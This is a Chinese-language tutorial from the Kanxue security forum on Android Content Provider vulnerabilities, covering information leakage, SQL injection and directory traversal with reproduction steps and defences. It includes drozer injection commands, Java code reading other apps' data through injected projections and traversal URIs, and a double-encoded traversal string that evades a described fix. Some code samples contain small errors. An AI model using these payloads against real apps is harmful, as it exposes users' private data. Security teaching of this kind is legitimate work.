Android APP漏洞之战——Content Provider漏洞详解
本文为看雪论坛精华文章
看雪论坛作者ID:随风而行aa
1
前言
2
Content Provider初步介绍
1、Content Provider的基本原理
(1)Content Provider简介
(2)Content Provider作用
(3)URI详解
URI:
(1)定义:Uniform Resource Identifier,即统一资源标识符。
(2)作用:唯一标识ContentProvider &其中的数据。
(3)外界进程通过URL找到对应的ContentProvider &其中数据,再进行数据操作。
getScheme():获取 Uri 中的 scheme 字符串部分,在这里是 http
getHost():获取 Authority 中的 Host 字符串,即 www.baidu.com
getPost():获取 Authority 中的 Port 字符串,即 8080
getPath():获取 Uri 中 path 部分,即 wenku/jiatiao.html
getQuery():获取 Uri 中的 query 部分,即 id=15&name=jack
MIME:
text/html
text/css
text/xml
application/pdf
集合记录(dir):
vnd.android.cursor.dir/自定义
单条记录(item):
vnd.android.cursor.item/自定义
URI解析:
将需要匹配的Uri路径进行注册:
//常量UriMatcher.NO_MATCH表示不匹配任何路径的返回码
UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
//如果match()方法匹配“content://com.wang.provider.myprovider/tablename”路径,返回匹配码为1
sMatcher.addURI("content://com.wang.provider.myprovider", " tablename ", 1);
//如果match()方法匹配content://com.wang.provider.myprovider/tablename/11路径,返回匹配码为2
sMatcher.addURI("com.wang.provider.myprovider", "tablename/#", 2);
*:表示匹配任意长度的任意字符
#:表示匹配任意长度的数字
匹配任意表的内容URI格式:
content://com.example.app.provider/*
匹配table表中1任意一行数据的内容URI格式:
content://com.example.app.procider/table/#
注册完需要匹配的 Uri 后,可以使用 sMatcher.match(Uri) 方法对输入的 Uri 进行匹配,如果匹配就返回对应的匹配码,匹配码为调用 addURI() 方法时传入的第三个参数。
switch (sMatcher.match(Uri.parse("content://com.zhang.provider.yourprovider/tablename/100"))) {
case 1:
//match 1, todo something
break;
case 2
//match 2, todo something
break;
default:
//match nothing, todo something
break;
}
withAppendedId(Uri uri, long id)用于为路径加上ID部分:
Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");
//生成的Uri为:content://com.wang.provider.myprovider/tablename/10
Uri resultUri = ContentUris.withAppendedId(uri, 10);
parseId(Uri uri)则从路径中获取ID部分:
Uri uri = Uri.parse("content://com.zhang.provider.myprovider/tablename/10")
//获取的结果为:7
long personid = ContentUris.parseId(uri);
(4)Content Provider数据共享
ContentProvider 类主要方法的介绍:
public boolean onCreate(),在ContentProvider创建后就会被调用,而ContentProvider是在其它应用第一次访问它时被创建;
public Uri insert(Uri uri, ContentValues values),供外部应用向ContentProvider添加数据;
public int delete(Uri uri, String selection, String[] selectionArgs),供外部应用从ContentProvider删除数据;
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),供外部应用更新ContentProvider中的数据;
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),供外部应用从ContentProvider中获取数据;
public String getType(Uri uri),返回当前Uri所代表数据的MIME类型;
要得到所有 tablename 记录:Uri 为 content://com.wang.provider.myprovider/tablename,那么返回的MIME类型字符串应该为vnd.android.cursor.dir/table
要得到 id 为 10 的 tablename 记录,Uri 为 content://com.wang.provider.myprovider/tablename/10,那么返回的 MIME 类型字符串为:vnd.android.cursor.item/tablename
(5)Content Resolver操作数据
public Uri insert(Uri uri, ContentValues values),往ContentProvider添加数据;
public int delete(Uri uri, String selection, String[] selectionArgs),从ContentProvider删除数据;
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),更新ContentProvider中的数据;
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),从ContentProvider中获取数据;
假定给定的是:Uri.parse("content://com.wang.provider.myprovider/tablename/10"),
那么将会对主机名为com.wang.provider.myprovider的ContentProvider进行操作,操作的数据为tablename表中id为10的记录
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");
//添加一条记录
ContentValues values = new ContentValues();
values.put("name", "wang1");
values.put("age", 28);
resolver.insert(uri, values);
//获取tablename表中所有记录
Cursor cursor = resolver.query(uri, null, null, null, "tablename data");
while(cursor.moveToNext()){
Log.i("ContentTest", "tablename_id="+ cursor.getInt(0)+ ", name="+ cursor.getString(1));
}
//把id为1的记录的name字段值更改新为zhang1
ContentValues updateValues = new ContentValues();
updateValues.put("name", "zhang1");
Uri updateIdUri = ContentUris.withAppendedId(uri, 2);
resolver.update(updateIdUri, updateValues, null, null);
//删除id为2的记录,即字段age
Uri deleteIdUri = ContentUris.withAppendedId(uri, 2);
resolver.delete(deleteIdUri, null, null);
public class MyProvider extends ContentProvider {
public Uri insert(Uri uri, ContentValues values) {
db.insert("tablename", "tablenameid", values);
getContext().getContentResolver().notifyChange(uri, null);
}
}
getContentResolver().registerContentObserver(Uri.parse("content://com.ljq.providers.personprovider/person"),
true, new PersonObserver(new Handler()));
public class PersonObserver extends ContentObserver{
public PersonObserver(Handler handler) {
super(handler);
}
public void onChange(boolean selfChange) {
//to do something
}
}
(6)Content Provider使用
2、Content Provider漏洞的种类和危害
3
Content Provider漏洞原理分析和复现
1、漏洞挖掘方法
(1)查找导出Provider
(2)查找URI
反编译apk文件,在代码中查找UriMatcher.addURI,并手动拼接uri。
content://ddns.vuls.AccountProvider/account
content://ddns.vuls.AccountProvider/account/
content://ddns.vuls.AccountProvider/account/1
content://ddns.vuls.AccountProvider/account/aaa
使用drozer工具
执行命令 run app.provider.finduri ddns.android.vuls
(3)方法使用
1.使用adb shell查询
例子:adb shell content query --uri 具体uri
2.使用drozer验证
例子:run app.provider.query "具体uri"
3.编写目标代码
例如:
private void getyouni(){
int i = 0;
ContentResolver contentresolver=getContentResolver();
String[] projection={"* from contacts--"};
Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");
Cursor cursor=contentresolver.query(uri.projection,null,null,null);
String text="";
while(cursor.moveToNext()){
text+=cursor.getString(cursor.getColumnIndex("display_name"))+"\n";
}
Log.i("TEST",text);
}
2、信息泄露漏洞
(1)原理介绍
content URI是一个标志provider中的数据的URI。Content URI中包含了整个provider的以符号表示的名字(它的authority)和指向一个表的名字(一个路径)。当你调用一个客户端的方法来操作一个,provider中的一个表,指向表的contentURI是参数之一,如果对ContentProvider的权限没有做好控制,就有可能导致恶意的程序通过这种方式读取APP的敏感数据。
(2)漏洞复现
<provider android:name=".providers.YouNiProvider" android:process="com.snda.youni.mms" android:authorities="com.snda.youni.providers.DataStructs"/>
private void getyouni(){
int i = 0;
ContentResolver contentresolver=getContentResolver();
String[] projection={"* from contacts--"};
Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");
Cursor cursor=contentresolver.query(uri.projection,null,null,null);
String text="";
while(cursor.moveToNext()){
text+=cursor.getString(cursor.getColumnIndex("display_name"))+"\n";
}
Log.i("TEST",text);
}
run scanner.provider.finduris -a <包名>
run app.provider.query uri
读取header的URI为:content://download/mydownloads/download_id/headers
Uri uri = Uri.parse("content://download/mydownloads/1493/headers");
Cursor cur = res.query(uri, null, null, null, null);
try {
if (cur != null && cur.getCount() > 0) {
StringBuilder sb = new StringBuilder(LOG_SEPARATOR);
sb.append("HEADERS FOR DOWNLOAD ID ").append(id).append("\n");
while (cur.moveToNext()) {
String rowHeader = cur.getString(cur.getColumnIndex("header"));
String rowValue = cur.getString(cur.getColumnIndex("value"));
sb.append(rowHeader).append(": ").append(rowValue).append("\n\n");
}
log(sb.toString());
}
} finally {
if (cur != null)
cur.close();
}
(3)安全防护
3、SQL注入漏洞
(1)原理介绍
(2)漏洞复现
run scanner.provider.injection -a <包名>
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
run scanner.provider.sqltables -a com.mwr.example.sieve
(3)安全防护
①实现健壮的服务端校验。
②使用参数化查询语句,比如SQLiteStatement。
③避免使用rawQuery()。
④过滤用户的输入。
4、目录遍历漏洞
(1)原理介绍
(2)漏洞复现
public void GJContentProviderFileOperations(){
try{
InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.ganji.html5.localfile.1/webview/../../shared_prefs/userinfo.xml"));
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int n = in.read(buffer);
while(n>0){
out.write(buffer, 0, n);
n = in.read(buffer);
Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();
}
}catch(Exception e){
debugInfo(e.getMessage());
}
}
run scanner.provider.traversal -a <包名>
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db
private static String IMAGE_DIRECTORY=localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri,String paramString);
throws FileNotFoundException{
File file=new File(IMAGE_DIRECTORY,paramUri.getLastPathSegment());
return ParcelFileDescriptor.open(file,ParcelFileDescriptor.MODE_READ_ONLY);
}
Uri.getPathSegments()部分代码片段:
PathSegments getPathSegments(){
if(pathSegments!=null){
return pathSegments;
}
String path = getEncoded();
if(path==null){
return pathSegments = PathSegments.EMPTY;
}
PathSegmentsBuilder segmentBuilder=new PathSegmentsBuilder();
int previous =0;
int current;
while((current=path.indexOf('/',previous))>-1){
if(previous<current){
String decodedSegment=decode(path.substring(previous,current));
segmentBuilder.add(decodedSegment);
}
previous=current+1;
}
if(previous<path.length()){
segmentBuilder.add(decode(path.substring(preyious)));
}
return pathSegments=segmentBuilder.build();
}
public String getLastPathSegment(){
List<String> segments=getPathSegments();
int size=segments.size();
if(size==0){
return null;
}
return segments.get(size-1);
}
private static String IMAGE_DIRECTORY=localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri,String paramString) throws FileNotFoundException{
File file=new File(IMAGE_DIRECTORY,Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());
return ParcelFileDescriptor.open(file,ParcelFileDescriptor.MODE_READ_ONLY);
}
这个编码后的URL: ..%2F..%2F..%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml
第一次调用getLastPathSegment(),会返回../../../data/data/com.example.android.app/shared_prefs/Example.xml。
第二次调用getLastPathSegment()会返回Example.xml
然而攻击者可以采用一种叫做"Double Encoding"的技术,使得第一次调用getLastPathSegment()后无法解码。
比如下面经过double encoded后的string就可以绕过上面这种防御
%252E%252E%252F%252E%252E%252F%252E%252E%252Fdata%252Fdata%252Fcom.example.android.app%252Fshared_prefs%252FExample.xml
第一次解码后: %2E%2E%2F%2E%2E%2F%2E%2E%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml
第二次解码后: ../../../data/data/com.example.android.app/shared_prefs/Example.xml
仍会导致目录遍历。所以简单的解码后再传人也是不够的,仍然需要严格校验以确保path是期望的路径。
(3)安全防护
① 将不必要导出的Content Provider设置为不导出。
② 去除没有必要的openFile()接口。
③ 过滤限制跨域访问,对访问的目标文件的路径进行有效判断。
④ 设置权限来进行内部应用通过Content Provider的数据共享。
4
实验总结
5
参考文献
https://www.cnblogs.com/tgyf/p/4696288.html
https://www.jianshu.com/p/5e13d1fec9c9
https://www.cnblogs.com/huansky/p/13785634.html
http://www.tutorialspoint.com/android/android_content_providers.htm
https://tea9.xyz/post/758430476.html
https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0156386
http://www.feidao.site/wordpress/?p=3295
http://www.hackdig.com/03/hack-19497.htm
https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
看雪ID:随风而行aa
https://bbs.pediy.com/user-home-905443.htm
# 往期推荐
2.Android APP漏洞之战——Activity漏洞挖掘详解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!